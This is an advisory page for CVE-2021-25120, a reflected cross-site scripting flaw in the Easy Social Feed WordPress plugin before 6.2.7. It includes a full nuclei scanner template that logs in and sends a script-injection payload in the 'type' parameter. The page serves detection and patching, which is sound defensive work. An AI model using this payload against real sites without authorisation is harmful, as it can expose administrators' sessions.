Easy Social Feed < 6.2.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.

Impact

Attackers can inject malicious JavaScript via reflected XSS in the type parameter, potentially stealing administrator session cookies or modifying social feed configurations.

Fix

Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type=</script><script>alert(document.domain)</script>
Positive when: contains "'type' : '</script><script>alert(document.domain)</script>'" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25120 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-25120

info:
  name: Easy Social Feed < 6.2.7 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the type parameter, potentially stealing administrator session cookies or modifying social feed configurations.
  remediation: |
    Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6dd00198-ef9b-4913-9494-e08a95e7f9a0
    - https://wpscan.com/vulnerability/0ad020b5-0d16-4521-8ea7-39cd206ab9f6
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25120
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25120
    cwe-id: CWE-79
    epss-score: 0.02909
    epss-percentile: 0.87099
    cpe: cpe:2.3:a:easysocialfeed:easy_social_feed:*:*:*:*:pro:wordpress:*:*
  metadata:
    max-request: 2
    vendor: easysocialfeed
    product: easy_social_feed
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,xss,authenticated,wpscan,easysocialfeed,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type=</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'type' : '</script><script>alert(document.domain)</script>'"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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